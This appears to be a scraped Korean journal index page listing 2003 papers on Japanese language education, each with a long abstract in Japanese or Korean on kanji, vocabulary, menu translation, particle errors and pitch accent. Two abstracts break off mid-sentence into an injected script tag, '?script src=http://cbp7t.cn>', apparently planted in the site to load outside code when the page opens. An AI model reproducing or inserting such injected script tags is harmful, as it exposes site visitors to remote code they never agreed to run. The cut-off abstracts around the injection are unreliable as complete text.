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일본어교육검색

Journal of Japanese Language Education Association


  • - 주제 : 어문학분야 > 일어일문학
  • - 성격 : 학술지
  • - 간기: 계간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 2005-7016
  • - 간행물명 변경 사항 :
논문제목
수록 범위 : 23권 0호 (2003)

특별강연 : 일본한자음에 대해서 -오음,한음을 중심으로-

옥촌문랑 ( Og Chon Mun Lang )
4,500
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초등학교의 재량활동을 통한 일본문화교육의 운영 방안 연구

이정희 ( Lee Jeong Hui ) , 변수란 ( Byeon Su Lan )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 11-29 ( 총 19 pages)
5,900
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グロ-バル化と呼ばれる現代社會じがたいほど大きな變化を經ている。このような變化の波は學校敎育にまで波及され、敎育改革の推進と共に敎育の多樣性を追求することになった。このような狀況の中で、新たに改定された第7次敎育課程は、從來の劃一化された敎育から逃れて、學生の健全な人性の發達を圖り、獨創的で、有用な知的價値を生産できる創意的な能力の育成を强調している。 創意的な能力を育てるためには、敎育內容の多樣性と共に學生達が自分の適性や素質に合う學習內容を選んで、自律的に學習できるようにする、つまり、學習者中心の敎育課程の運營が必須的であると言われている。そのような敎育活動を追求する敎育課程がまさに裁量活動である。このような裁量活動の敎育的特性をもとにして、國際理解敎育としての日本文化敎育を裁量活動を通じて、編成·運營してみようとした。 創意的な裁量活動の敎科等の??を超えた橫斷的·總合的な學習の中で、あえて、國際理解敎育に焦点を合わせてこの硏究を計劃した理由は、現代社會の特徵と言われる世界化·國際化という時代 の傾向に合わせるためである。今日、世界諸國は自國の國家競爭力の强化と世界市民養成のために、國家の政策的レベルで國際的な感覺と地球市民の意識を持った人間を育成するのに主力を傾けている。韓國もまた世界化敎育の一環となる敎育改革の重な課題の一つとして、國際理解敎育の振興のために持續的な努力を注ぃでぃる. しかし, 學校敎育で國際理解敎育の必要性と重要性を認識してゎり, 國際理解敎育を實施しなければならないと考えてはいるものの、適當な資料がないし、あるとしてもそれをどのような方法で效果的に指導できるかが分からなくて苦しんでいるのが事實である。 この硏究ではこのような点に着眼し、國際理解敎育という言葉は、非常に多義的で、しかも多樣な意味合いが??められており、この硏究で取り扱っている日本文化敎育はその中での一部分に過ぎない。日本文化開放の持續的な擴大及び2002年韓日ワ-ルドカップ大會をきっかけで日本に對する關心が高まっている時点で、小學生がわりあいにブロ-チしやすいと考えたのが異文化敎育としての日本文化敎育であった。子供たちの興味·關心に基づいて、習いたがる日本文化要素を學習テ-マとして選定して裁量活動を展開した。時間の確保の問題で多樣な學習テ-マとして裁量活動を運營できなかったのは殘念に思われるが、子供たちにとっては、近くて、となりの國である日本に對して新たた認識できるきっかけになったし、日本文化をはじめとして、世界文化への關心を持つようになったことを指摘したい。とかく疎かになりがちな裁量活動の時間を前もって計劃を立てる上に、異文化敎育としての日本文化敎育を運營したことは、裁量活動の充實化にも寄與したと思う。 最後に、この硏究で指示した敎授·學習計劃案を參考にして裁量活動の時間に活用されることを期特し、これから、より多樣な活動テ-マとして異文化敎育のプログラムが開發され、學校敎育で效率的な運營になればと思う。

고등학교 일본어 1 교과서의 한자 어휘 분석

최용혁 ( Choe Yong Hyeog )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 31-51 ( 총 21 pages)
6,100
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去年から適用されている第7次敎育課程(學習指導要領)の改正により、新しく12種類の日本語の敎科書が發刊された。これらの高敎の日本語の敎科書の全容を分析してみるのも意義あることだと思う。 本稿では漢字で表記されている語彙だけに絞って調べれみることにした。 第7次敎育課程では第6次敎育課程と大きく違う点がいくつかあるが、特に高校用の日本語の敎科書に載せる漢字を733字に制限したのが大きな特徵の一つである。今までは語彙の制限はあったものの、漢字の制限はなかった。大まかに日本の常用漢字の??內で使 うといった程度だった。 本稿は、今回初めて制限された733字の漢字が高校用の日本語の敎科書にどのように採擇され、また表記されているかを12種類の日本語の敎科書を對象に調査を行い。これからの日本語敎育の中での語彙敎育特に漢字敎育に活用してみるのが目的である。 調査の方法としては、12種類の日本語の敎科書の中で文化のところを除いて漢字で表記されている語彙すべてを對象にした。また、固有名詞は漢字制限の對象にならないため、調査から除いたが、韓國、日本、中國だけは大部分の敎科書に表記されているので特別に調査對象に入れた。 敎科書の調査にあたって、次の点に重点をおき調べた。 1. 表記用制限漢字がどれぐらい採擇され表記されているか。 2. 漢字制限の原則が守られているかどうか。 3. 敎科書別に漢字表記の相違点があるか。 4. 12種類の敎科書にどの語彙がどれぐらい表記されているかをお互いに比較してみる。 5. 12種類の敎科書に表記されている單漢字數はどれぐらいあるか。 6. 使用率の高い單漢字はどの漢字かを調べてみる。 7. 課別にどのぐらい漢字が表記されているか。 8. 敎科書同士の漢字表記の共通点はあるかどうか。 9. 制限漢字の表記狀況をまとめてみる。 以上の狙いをもって調べた結果、次のようなことが分かった。 ① 12種類の敎科書に漢字で表記されている平均語彙數は202語であった。 ② 一番多く表記した敎科書とそうでない敎科書との差が156語であり、相當の差があるのが分った。 ③ 課別に表記されている平均語彙數は33語であった。 ④ 傳敎科書の漢字で表記されている異なり語數は715語であった。 ⑤ 12種類の敎科書すべてに表記されている語彙は19語であり、單獨で表記されている語は313語であった。 ⑥ 漢字制限の原則を守っている敎科書は三つであり、殘りの九つの敎科書は多かれ 少 なかれ非表記用漢字を使っていることが分かった。 ⑦ 敎科書に各課ごとに繰り返し表記されている漢字語彙數はほんの 一部の語彙に過ぎなかった。 ⑧ 漢字で表記されている語彙を單漢字にして使用率を調べた結果、「日」が一番多く次が「本」、「曜」、「行」、「人」順であった。 ⑨ 12種 すべてに表れている漢字は33字であり、單獨で使われている漢字は125字であった。 ⑩ 制限漢字733字のうち、敎科書に表れている漢字は433字であった。 ⑪ 制限漢字ではない漢字(非表記用漢字)がなんと42字にのぼっていることが分かった。 ⑫ 各敎科書同士の共通語彙數を調べてみると、一番多いのが133語、一番少ないのが53語であった。 これらをまとめてみると、12種類の日本語の敎科書の漢字表記に敎科書ごとに相當の偏差があるのが分かり、また、漢字表記語彙が同じ敎科書の中でも一二回しか表れないのが多かったことが明らかになった。 それから、表記用漢字(制限漢字)以外の漢字が表記されているのが相當の數にのぼっていることが明らかになり、敎科書檢定の際に制限漢字のチェックをもう少し嚴しくする必要があると思う。また、同じ敎科書の中でも漢字表記の一貫性が欠ているのが分かった。 以上,第7次敎育課程改正によって作られた高校の日本語の敎科書を漢字表記という特定の分野だけの絞って考察してみたが、滿足できるところまで考察できなかったところが氣になる。本稿で明らかにされなかったところはこれからの課題として取り組んでいきたいと思う。

일본어 교육을 위한 기본 어휘 연구 -기본 어휘 선정 기준과 기본 한자-

송호 ( Song Ho )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 53-71 ( 총 19 pages)
5,900
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本稿は韓國人のための日本語敎育の基本語彙の選定の方法についての硏究である。日本語の語彙についての硏究方法は樣??である。最近の語彙硏究の流れはコンピュ-タ-の活用術と伴って行くようである。コンピュ-タ-は語彙硏究にあたって必要な語彙使用實態調査を簡單にできるようサポ-タんになれる。さらにこのような影響で語彙使用實態調査のために必要な語彙調査資料もどんどん多量にねっていく。そういうことで本稿では自作の「1235コ?パス」を準備する。またこのコ?パスを操作するためにスクリプト言語「AWK」「PERL」「RUBY」などを利用する。 さて,日本語の文字には四種類ある。平假名、カタカナ、ロ-マ字、漢字である。特に日本語の文章は漢字假名混じり文で日本語を勉强し始める人??には漢字は面倒くさい。しかし、日本語での漢字の役割は大事である。文の讀みの切れ目にもなるだけでなく、漢字の語彙量は日本語彙の約50%を占めている。從って漢字についての硏究は基本語彙硏究にとって前提になっておると思われる。 本稿は日本語の文字の一つである漢字を手係ろのして、語彙調査をするための基本漢字リストを作成する。 まず、本稿は一字漢字の使用度は語彙の使用度に影響を及ぼきていると假定する。卽ち、漢字語彙に含まれている漢字の使用度がければ漢字語彙の使用度が高くなり、その漢字が含まれたいる語彙は基本語彙になる可能性があるということである。 という假定で、一字漢字の使用度を調査するために、12種類の基本語彙表と自作の「1235コ-パス」を利用して作成し、その漢字表等を對象にする。一字漢字の使用度および基本漢字リストを作成するための調査の順序は次の通りである。 ①この13種類の語彙表らでの漢字使用實態調査のデ-タとして妥當性があるかを、各漢字リスト間の相關係數で確認した。 ②調査デ-タとしての有效性に基づいて各漢字リスト間の共起回數を通して各漢字リストの共通漢字のばらつきを見て、敎育漢字とか常用漢字なそをある程度含んでいるが、含まれていない漢字數が多いことも分かった。 ③したがって、これらの漢字リストが含める新しい漢字リストが必要になり、各漢字リスト間の頻度合と擴散度を求めて、兩方wpかけて使用度をためた。使用度のカバ-率(約95%)と頻度合(4以上)を參考して「2365」字をカットした。本稿ではカットの結果の2365字を基本漢字に定めた。 ④基本漢字と韓國の敎育基本漢字1800字との比較によって、基本漢字に韓國の基本漢字との關係が深いことが分かった。それゆえ、韓國の日本語學習者荷は本稿の基本漢字がたやすく習えると思われる。さらに、日本の常用漢字の比較によって基本漢字にはほとんの常用漢字を含んでいるばかりでなく。他の基本語彙の漢字語彙をカバ-できる手頃な基本漢字數であることも分かった。 基本漢字を基本語彙の選定の一つで利用したら、①正規表現のリストに使って檢索·置換などの一括處理を行って基本語彙調査の效率化を精度が計れる。②基本語彙の調査のためのサンプル調査時、テキストの漢字分布を簡單にして新しい漢字の現,れを把握できて不要な調査が避けられる、③アップグレ-ドの必要な基本語彙を管理しやすいと言える。 今後の課題はもっとも多量のコ-パスを驅逐して、一字漢字の使用度の變化を觀察しつつける要があると思われる。

레스토랑 메뉴의 일본어 표기 유형에 관한 연구 -한식당을 중심으로-

유종근 ( Yu Jong Geun )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 73-92 ( 총 20 pages)
6,000
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韓國における日本人觀光市場の規模を考えると、メニュ一は文化の輸出及び正しい理解、そしてメニュ一の正しい傳達に通じる購買意欲の鼓舞等、大變重要な役割を果たす。それにも關わらず、ホテル等のは適切な日本語表記の基準がなく、レストランの經營者または從業員の個人的、主觀的な基準によってメニュ一が作成されている。本硏究はこのような實態を問題にしたことに意義があると思う。 硏究の目的を成すため、ソウル、慶州、晋洲、釜山の觀光ホテルの中で韓國式レストランを經營しているホテルを對象にして、資料を集めた。對象ホテルのメニュ一は韓國料理に關するものだけで、全部で443個のメニュ一名を收集して、分析に利用した。表記方法によって、1次的に4類型、7細部類型に分類した後、韓國日本語敎育學會での發表を通じて2次的に3類型、6細部類型に分類した。3類型は直譯型、說明型、原語表記型で、各??の定義は次の通りである。 直譯型は漢字直譯型、日本語直譯型、ハングル·日本語直譯型に區別した。 漢字直譯型一漢字で表記可能な韓國語メニュ一をそのまま漢字で表記した類型日本語直譯型一韓國語メニュ一を日本式に表記した類型ハングル·日本語直譯型一メニュ一の中で一部はハングルの發音をそのまま使って殘りは日本式に表記した類型。 說明型は說明型、敷衍說明型に區別した。 說明型一料理名はなく、韓國語メニュ一に對して說明的に表記した類型。 敷衍說明型一ハングル發音式及び日本語式のメニュ一名を書いて、そのメニュ一に關して敷衍說明をした類型。 原語表記型はハングル發音型で、韓國語メニュ一をそのまま發音できるように表記した類型。 調査分析の結果。直譯型が346個、78.1%で、最も多く使われた類型であることがわかり、その次は說明型で78個、17.6%、原語表記型は19個、4.3%という結果が現れた。直譯型の場合、日本語直譯型が226個、51%を占めて、メニュ一の日本語表記法において最も多く利用される形態であることがわかった。ハングル·日本語直譯型が96個、21.7%、漢字直譯が24個、5.4%の順であった。一方、說明型の場合、メニュ一名がなく說明だけで表記された說明型が62個、14%、メニュ一名を表記してこれに敷衍說明型が16個、3.6%であった。韓國語のメニュ一名を發音のままに表記したハングル發音型は19個、4.3%であった。樣??な表記型が使われている原因としては、メニュ一表記において一定の基準がないという点、非專門家によって作成されるという点が考えられる。 この硏究の結果として現れた問題点解決のため、次のような對案を提示したい。ホテル等のレストランのメニュ一において、日本語表記に一定の基準を定めて、これを順守するように行政指導を通じて統制する必要性があること。そして、日本語の表記において專門家に手輕に依賴できるル一トを開發する必要性があること、この二点である。 この硏究では、どのような型がメニュ一の基本的な役割に當たるかについては硏究されていないので、それは今後の硏究の課題とする。今後の硏究の課題として、以下のようなものが考えられる。 1. 各??の類型別に見た日本人への韓國の食文化の傳達の效率性に關する硏究. 2. 各??の類型別に見た日本人觀光客購買意欲に及ぼす影響に關する硏究. 3. 日本人の韓國の食べ物に對する撰好度に關する硏究. 4. 韓國人が日本語表記において間違いやすい表現に關する硏究.

한국인학습자의 격조사 「へ」「に」습득시 모어전이의 가능성 -오용분석의 관점으로-

제등신호 ( Je Deung Sin Ho )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 93-114 ( 총 22 pages)
6,200
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Elis(1994)는 언어의 이해 중에는 덩어리로 기억되어진 지식고 내재화되고 규칙화되어진 지식의 2종류가 있다고 논하고 있다. 이것은 문법사항을 습득할 때 개별적으로 형태소대로 기억해 가는 것이 아니라 하나의 성구(成句)나 묶음으로 암기하고 그것을 뒤에 분절화하여 실제 이해하는 데로 발전시켜가는 것을 나타내고 있다. 이와 같은 덩어리로 기억하는 언어처리 방법을 「유니트(unit)형식의 전략(starategy)」라고 한다. 현재 대부분의 언어교육기관에서 수용하고 있는 오디어링글법은 유니트 형식의 전략과 깊이 관련되어 있다. 오디어링글법에서는 문의 연쇄에는 일정의 패턴이 있으며 언어습득은 그 패턴을 암기하여 습관을 형성해 가는 것에 의해 달성된다고 생각하고 있다. 이를 위해 패턴 프렉티스(pattern practice)등에 의한 일련의 교실활동에 의해 「자극-반은」에 기본을 둔 훈련을 행하고 유니트 형성을 목표로 하는 집중학습이 행해진다. 이 집중학습에 의해 생겨난 「과잉학습(overlearning)」은 바른 표현뿐만 아니라 오용으로도 전이되고 있으며 반드시 유니트 형성이 언어 이해를 촉진시키는 것은 아니라고 보고되고 있다(迫田 ,2001b). 그러나 Lightbown(1983)에 의하면 일단 과잉학습에 의한 규칙의 과잉반화(過剩般化)가 있었다고 하더라도 그 후 학습자가 문제를 해결하고 학습자 자신의 중간언어를 만들어 내는 체계를 잡아갈 수 있다고 논하고 있다. 齋藤(2003)는 한국인 일본어 학습자의 작문 코퍼스를 바탕으로 초급에서부터 중급에 걸쳐 격조사「へ」가 유니트 형성의 전략에 의해 과잉반화하여 그 후 수습해나는 현상을 확인하고 그 결과 Lightbown과 같은 식견을 얻었다. 그러나 Lightbown의 연구 중에서는 표출되어진 오용의 원인에 대한 고찰이 부족하기 때문에, 본 연구에서는 한국인 중급 일본어학습자 27명을 대상으로 빈곳을 보충하는 형식의 테스트를 실시하여 오용의 발생을 일으키는 원인이 모어전이(母語轉移)에 의한 마이너스 간섭(interference)에 있는 것인가, 아니면 다른 원인에 있는 것인가를 오용분석의 각도에서 확인했다. 그 결과 오용은 「で」와「を」가 한국어 모어로부터의 마이너스 전이인 ‘언어 간 에러’의 가능성이 있으며 그것 이외의 조사 오용은 ‘언어 내 에러’의 가능성이 있다는 것을 지적할 수 있었다. 이 「で」와「を」의 오용비율이 「行く」, 「來る」, 「歸る」의 경우 「で」에 집중하고 그 외의 이동동사의 경우 「で」와「を」로 분산되어 있다는 것이 관찰되었으며 같은 모어로부터의 마이너스 전이이더라도 동사 그룹에 따라 오용이 발생하는 비율에 차이가 생긴다는 것을 관찰할 수 있었다. 이것은 「行く」, 「來る」, 「歸る」동사에 대해서는 방향성을 나타내는 조사를 사용하지 않으면 안된다고 하는 의식이 있기 때문에 한국어의 「로」에 대응하는 「へ」와 「と」사이에서 혼용이 일어났으며 초급단계에서 도입한 「へ」+「行く」, 「來る」, 「歸る」의 유니트가 학습자에게 정착되어 있다는 것을 시사하고 있다. 그 때문에 모어로부터의 마이너스 간섭이 다소 제어되어지고 모어체계에 있는 「を」오용의 발생률이 낮고 「で」오용에 집중되어 있다. 한편 그것 이외의 이동동사는 조사와의 유니트 형성이 없기 때문에 「を」와 「で」의 양쪽에서 마이너스 전이가 일어난다고 생각할 수 있다. 또 바른 표현이라고 생각되어지는 「行く」, 「來る」, 「歸る」는 격조사「へ」와 격조사「に」의 사용이 서로 비슷한 비율로 혼용되고 유의차(有意差)가 없으며, 그 외 이동동사는 격조사「に」의 사용이 우세인 것을 확인하고 선행 명사는 「に」와 「へ」의 판단에는 관계하고 있지 않다는 것을 확인했다. 이것은 후속하는 동사가 조사 선택의 판단기준이 된다고 하는 것을 증명하고 있다. 종래 비판 받아온 초급단계의 오디오링글법의 「과잉학습」에 의한 강한 유니트 형성의 유무가 이와 같이 중급단계에서의 오용을 일으키는 요인의 차이에까지 영향을 미치고 있으나, 반드시 과잉학습이 마이너스 영향만을 일으키고 있다는 것이 아니라 플러스 작용도 하고 있다는 것을 지적할 수 있고 초급단계에서의 패턴 프렉티스의 유효성을 시사하고 있다. Nemser(1971)에서는 근사체계(近似體系)라는 방식에 의해 학습자의 언어는 모어화자의 능력으로 전달되기까지 연속적으로 향상한다고 설명하고 있다. 즉 격조사「へ」가 일단 강한 유니트 형성의 전략에 의해 습득되고 그에 따라 일정기간 이후 제일언어화자의 일본어로 근접해가고 있다고 생각되어진다. 이 경향은 齋藤(2003)에 있어 「へ」의 사용이 학습이 진행됨에 따라 「行く」, 「來る」, 「歸る」3종류의 동사에서 다른 이동동사의 확장을 보이기 시작하고 있다는 것으로 관찰되어지며 또 이번 조사에서는 「に」의 사용이 확대되고 있다는 ?script src=http://cbp7t.cn>

일본어와 한국어의 표기 시스템의 대조 -한자의 기능을 중심으로-

천문명 ( Cheon Mun Myeong )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 115-129 ( 총 15 pages)
5,500
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본고는 다양한 언어를 제 1 언어로 하는 일본어 학습자를 대상으로 한 일본어의 4영역에 대한 구체적인 조사를 기초 자료로서 「쓰기」에 대해 논한 것이다. 「쓰기」를 일본어 습득상, 가장 어렵다고 생각하고 있는 학습자는, 「한자, 한어권」「비한자한어권」을 불문하고 가장 많다. 한국어 모어 화자에 대해서도 학습단계나 학습목적에 따라서 작은 차이는 있지만 똑 같은 결과를 얻었다. 이들 논거를 일한양언어의 한자의 기능을 대조적으로 관찰하는 것을 중심으로 살펴보았다. 또 자주 문제가 되는 「띄어쓰기」와 부호류의 취급에 대해서도 양언어의 「정서법」을 대조해 보았다. 아울러 한국어 모어 학습자에 의한 일본어 작문의 오용례를 제시하고 분석하였다.

한,일 「일자한어」 부사의 형태론적 연구

전철 ( Jeon Cheol )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 131-158 ( 총 28 pages)
6,800
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韓日兩言語は、當然ながら、互いに全く異なる固有語を持つが、漢語に關しては、音も意味も類似しており、一音節の構成要素を一つ一つが同樣の音と意味を共有する音節單位でおり、一音節の構成要素が最も多いという特性を表す言葉である。卽ち、漢語で構成された全ての語彙及び文はその單音節的な特徵による分析をしていくと最終的に單音節語(一字漢字)になる。その單音節語はそれぞれ漢語一字として表されるし、さらに重要な事實は一字が意味情報の重要な核だという事實である。 本稿ではこのような事實をもとに、韓日兩國の一字漢語の副詞を、形態論的な側面から整理し、一字漢語副詞の語尾の取り扱いについて問題提起を行った。先ず對象事典から兩言語の一字漢語を抽出したところ、日本語の「一字漢語」の副詞は48語であったが、韓國語ではその3倍弱の120語が見つかった。次に、これらの一字漢語を、①「一字漢語」單獨で成り立つ副詞、②零接辭派生によって成立したもの、③一字漢語+「に/と」と、一字漢語+「로(lo)/히(hi)」、④一字漢語+その他の要素、と四つに分類し觀察した。その詳細は次の通りである。 1. 一字漢語が單獨で副詞の機能を持つ語は、韓國語の場合「但, 永, 卽, 惑, 及」の5語であり、日本語の場合は「極, 約」の2語であった。つまり、從來の硏究で言われてきた兩言語の語彙の同一性 や共通性は、この「一字漢語」副詞に關しては當てはまらないということである。これらの一字漢語は、漢文において副詞として頻繁に使われる單語であったため、副詞化する特別な文法的接辭が付けられることなく、そのままの使われるようになったのだと考えられるだろう。 2. 零接辭派生による場合は、日本語では、'直(じか)、直(じき)、万‘の3語が調査され、韓國語には一語も存在しなかった。更に、重要な事實としては、一字漢語の零接辭派生ガ起きるのは‘名詞-副詞’のみであることも分 かった。 3. 日本語の<一字漢語+「に」>は22語あり、一字漢語副詞の中で最も多數を占めていた。また。<一字漢語+「と」>の形態も、5語みとめられた。これに對して韓國語の場合は、≪資料2≫のように、その形態が日本語に比 べて多樣であること、また、その中で最も生産性が高いものは29語確認されたく一字漢語+「히(hi)」>、次が8語のく一字漢語+(으)로(lo)>であることが分かった。 なお、從來多くの硏究において、韓國語副詞を形成する接辭の代表として'~이(~i)/~히(~hi)`が拳げられてきたが、「一字漢語」副詞においては「~이(~i)」があまり生産性を持っていない事も分かった。ただし、「面面이, 番番이, 一一이, 散散이, 点点이」と同樣に、二字漢語の場合は'~이‘が相當な生産力を持つ副詞として派生を擔っている。これは'~이’が二字漢語、特に、反復複合語の漢語に連結された時、生産力が高いということである。例外に‘獨이’と同じ形態が見えるが前述した通り、漢語の‘獨’の場合は'~하다(~hada)`と結合できず、‘獨히’の形態をとることができないために‘獨이’の形態を取ったと考えられるだろう。 4. 一字漢語+その他の場合、日本語では13語が確認された。ただし、「頑として、 主として、體よく、要するに、 牢として」に關しては、一部辭書では副詞的連語と扱っている場合もあった。これに對して韓國語では、78語が認識され、日本語に比べてかなり多くの副詞形態が見とめられるが、「決코(결단코)、緊찮이(緊하지 아니하다), 願컨대(願하건대)」のような縮約形と、‘單숨에, 單칼에, 單통에, 憤김에, 火김에, 與김에’のような、固有語名詞が介入した形が存在した。この中でも「單숨에, 單칼에, 單통에」の場合は、「숨, 칼, 통」の實質名詞が介入した場合で、「憤결에, 憤김에, 火김에, 與김에」の場合は ‘意識の及ばない時間の流れや間’の意味を持った「~결」が、そして'ある機會か契機‘の意味を持った「~김」という依存名詞が各各介入した場合である。これはつまり、「一字漢語」+’에‘の形態は必ず固有語名詞の介入によって副詞の機能を持つということで、'當初에, 不時에, 已往에, 世上에’などの二字漢語副詞とは異なる特徵である。 さらに、形容詞化接尾辭「~스럽다. ~롭다, ~답다」の副詞形が連結された形態として「~스럽다」の副詞形「~스러이」·「~스레」·「~롭다」の副詞形の「~로이」や「~답다」の副詞形の「~다이」が多數を占めていた。 以上, 漢語副詞+その他連結形ので分かったことは、日本語よちも韓國語の方が漢語副詞連結形が多樣であり、また、日本語の漢語副詞で漢語が全て依存形式であるのに對して韓國語の場合は ‘德, 脈, 福, 辱, 情, 罪, 恨’などの實質名詞が存在するというということである。 もう一つの示唆的な事實は、一般に日本語では、漢語に「~に」·「~と」·「~の」が伴って副詞が構成されると言われているが、これ?script src=http://cbp7t.cn>

오용례와 어구성의식

옥촌정랑 ( Og Chon Jeong Lang )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 159-171 ( 총 13 pages)
5,300
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통상적으로 우리들은 말의 구성을 하나하나 의식하면서 언어활동을 하고 있는 것은 아니다. 그럼에도 불구하고, 동일한 구성요소를 가지는 말을 많이 보았을 때나, 미지의 말을 접해서 어의를 추측하려고 할 때 등에는 어구성에 관하여 생각해야 할 점이 있다. 이러한 일은, 특히 외국어학습을 할 경우에 있어서 종종 경험하게 되는 것이다. 단, 어구성성분 절을 틀릴 경우에는 오용이나 오해를 일으키게 된다. 본고는, 유추에 인한 어구성론적인 파악에 따라 생기는 문제점에 대하여, 한어 「早晩」를 예로 들어 고찰하였다. 그 결과, 한자어 「早晩」이 <晩の早い時分> <晩早く>의 의미로 해석되어지거나, 또는 그 의미로 사용되어지거나 하는 것은, 「早朝」와 같은 예로 잘못 파악되어지는 이유인 것으로 밝혀졌다. 미지의 말을 접했을 때라든지 아직 이해가 충분히 되지 않은 말을 사용할 때에는, 이미 학습한 말의 지식을 단서로 하여 어구성론적인 방법에 딸 접근하는 것이 가능한 경우가 있는 것은 말할 것도 없지만, 그 때, 어구성의 분석을 잘못하면 정확한 이해를 방해하게 된다. 특히 한어는 한자에 의해 표기되는 것이 일반적이기 때문에 어구성 요소의 구를 파악하기 쉽고, 미지의 한어라도, 이미 학습한 한자지식을 단서로 어의를 추측하기 쉽다라고 생각되어지기 때문에, 오히려 주의가 필요하게 되는 것이다. 하물며 그 말의 어의에 변화가 일어나 있으면, 당연히 원래의 어구성이나 자의로부터도 짐작하기가 힘들어 진다. 「早晩」의 경우에는 전항요소와 후항요소가 대의적인 관계에 있으면서 병렬되어져 있는 점, 그 대의요소의 병렬에서 유래하는 파생어가 생겨나 있는 것 등의 지식을 가지고 있지 않으면, 정확한 어의의 이해를 다할 수 없다. 이와 같이, 유추에는 신중한 태도가 요구되어지는 점을 구체적으로 논하엿다. 따라서, 어구성이나 이미 학습한 한자의 자의를 단서로 하여 분절하는 것이 어려운 말에 있어서는, 교수자가 그 점을 충분히 의식하여, 학습자의 레벨이나 모국어의 차이에 대응하여, 관련된 말과의 유사점, 상이점등에 관하여, 학습자에게 강조할 필요가 있다. 「早晩」의 경우에 있어서는, 학습자의 레벨이나 모국어의 차이에 대응하여, 「晩」의 원의나 이미 학습한 한자어인 「早朝」「今晩」의 어의, 어구성등과 관련시켜 「早晩」을 가르치는 것이 오용의 회피로 이어진다는 점을 서술하였다. 아울러, 한국인의 일본어 학습자의 오용인「*披は早晩間來るに違いない.」의 「早晩間」가, 이른바 모국어의 간섭에 따른 것이라는 점등에 관하여 지적하였다.

초급일본어학습자의 문장음독에 있어서 피치에 관한 연구 -한국경산남도방언화자의 장합-

내굴명 ( Nae Gul Myeong )
한국일본어교육학회|일본어교육  23권 0호, 2003 pp. 173-190 ( 총 18 pages)
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일본어 학습에 있어서 그 목표가 되는 것이 언어의 4기능(읽기, 쓰기, 듣기, 말하기)의 습득이다. <<필자는 일본어 원어민교사로서 「회화」수업을 담당하는 일이 많은데, 보통「회화」수업에서는 이 4기능 중 「말하기」에 중점을 두게 된다. 이 「말하기」능력을 기르기 위해서는 그 음성적 요소를 담당하는 부분, 이른바 발음, 악센트, 인토네이션이라고 불리워지는 것이다. 이것들은 학습자 자신도 보다 원어민에 가까운 것을 습득하고 싶다고 생각하는 경향이 강하다고 생각된다. 그러나 수업 중에는 시간 관계상 한 사람씩 체크할 시간은 거의 없기 때문에 필자는 이제까지 숙제로써 미리 내어준 짧은 문장을 수업이외의 시간에 한 사람씩 만나 읽게 해서, 그 발음, 엑센트, 인토네이션을 체크하고 또한 내용확인을 위한 간단한 질문을 행해왔다. 그러나 어쩐일인지 언제나 같은 곳에서 수정을 가하고 있다는 데에 주목하게 되었다. 그래서 본 연구에서는 한국 경상남도 지역에 있는 초급 일본어학습자가 일본어 문장을 읽을 때 그 악센트의 피치(음의 고저)에 어떠한 특징을 보이고 있는가에 대해서 단어의 모라(mara, 리듬의 최소단위)수별로 그 출어(出語)상황 및 품사에 착안하여 분석, 고찰을 행하였다. 그 결과 이하와 같은 경향이 관찰되었다. 1)2모라어에서는 두고형(頭高型)의 피치가 많고, 조사는 높은 피치로 실현되는 경우가 많다. 2)3모라어나 특수음이 포함되어 있는 2음절어에서는 2모라어에서와 같이 두고형의 피치가 부여되는 경우가 많지만, 조사는 낮은 피치로 실현되는 경우가 많다. 3)그 외 3모라어에서는 평판형(平板型)「○●●」또는 중고형(中高型)「○●○」피치 패턴이 나타나기 쉽고, 조사는 높은 피치로 실현되는 경우가 많다. 4)4모라어에서는 피치 패턴이 나뉘어지는데, 약 반수정도가 평판형 피치로 실현된다. 또 조사에는 높은 피치가 부여되는 경향이 많다. 5)5모라 이상의 단어에서는 그 단어의 출현상황이나 품사에 따라 특징적인 패턴이 보여진다. 6)그리고 5모라이상의 단어에서는 문말표현등에서 한 단어를 두 개의 단어로 나눠 취급하는 듯한 피치를 부여하는 예가 보여진다. 그 경우 나뉘어졌다고 생각되어지는 단어는 각각 모라수에 따라 피치가 부여되는 경향이 보인다. 7)문장음독에 있어서 각각의 단어가 개별적으로 발음되며 거기에 피치가 부여되는 경우가 많다. 8)전체적으로 구말(句末)에 위치한 조사나 모라가 높고 강하게 발음되는 경향이 강하다.
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